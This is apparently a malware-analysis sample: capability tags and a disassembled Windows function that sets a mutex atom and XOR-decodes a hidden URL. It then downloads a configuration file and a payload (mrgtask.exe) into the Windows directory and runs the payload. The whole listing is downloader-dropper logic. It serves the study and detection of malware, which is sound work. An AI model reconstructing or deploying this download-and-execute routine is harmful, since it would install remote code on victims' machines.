Function at 0x100017f0
Capabilities:
Create process on windows
Encode data using xor
Get common file path
Print debug messages
Read file on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10007bf8
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebp
push esi
push 0xc8
call fcn.10001dcb
add esp, 4
mov ebp, eax
push str.mqqu_hlw66612ggfjhpuadqdadq
push ebp
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x6ddd00
call esi
push 0x1d4c0
call esi
push str.ThreadFuncLPVOID44585669bb33
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x10001a4d
push ebx
push edi
push str.ThreadFuncLPVOID44585669bb33
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
push str.URLMON.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.URLDownloadToFileA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x400
mov dword [esp + 0x1c], eax
call fcn.10001dcb
push 0x64
mov edi, eax
call fcn.10001dcb
add esp, 8
mov esi, eax
push 0x64
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.mrgtask.ini
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor edx, edx
test eax, eax
jle 0x100018c1
mov ecx, edi
sub ebp, edi
mov edx, eax
mov bl, byte [ecx + ebp]
xor bl, 5
mov byte [ecx], bl
inc ecx
dec eax
jne 0x100018b5
push 0
push 0
push esi
push edi
push 0
mov byte [edx + edi], 0
call dword [esp + 0x2c]
push edi
call fcn.10001e0f
add esp, 4
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10001928
push 0x64
call fcn.10001dcb
add esp, 4
push 0xa
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.100077e7
add esp, 0xc
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call fcn.10001e0f
add esp, 4
xor ebx, ebx
push 0x400
mov dword [esp + 0x18], ebx
call fcn.10001dcb
add esp, 4
push ebx
mov ebp, eax
lea eax, [esp + 0x18]
push eax
push 0x400
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp + 0x14]
push edi
mov byte [ecx + ebp], bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
call fcn.10001dcb
add esp, 4
push 0x80000001
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
call fcn.10001000
push str.Uoftware
lea ecx, [esp + 0x20]
mov dword [esp + 0x30], ebx
call fcn.10001070
lea edx, [esp + 0x10]
push edx
push str.Update
lea ecx, [esp + 0x24]
call fcn.10001290
mov eax, dword [esp + 0x10]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10001a24
push ebp
push str.Update
lea ecx, [esp + 0x24]
call fcn.10001170
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
push ebx
call fcn.10001dcb
add esp, 4
xor ecx, ecx
test ebx, ebx
mov edi, eax
jle 0x100019ed
sub ebp, edi
mov edx, ebx
mov ecx, ebx
mov bl, byte [eax + ebp]
xor bl, 5
mov byte [eax], bl
inc eax
dec edx
jne 0x100019e1
push 0x64
push esi
mov byte [ecx + edi], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.mrgtask.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push esi
push edi
push 0
call dword [esp + 0x2c]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
push edi
call fcn.10001e0f
add esp, 4
lea ecx, [esp + 0x1c]
call fcn.100010b0
mov ecx, dword [esp + 0x10]
push ecx
call fcn.10001e0f
add esp, 4
lea ecx, [esp + 0x1c]
mov dword [esp + 0x2c], 0xffffffff
call fcn.100012d0
pop edi
pop ebx
mov ecx, dword [esp + 0x1c]
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x20
ret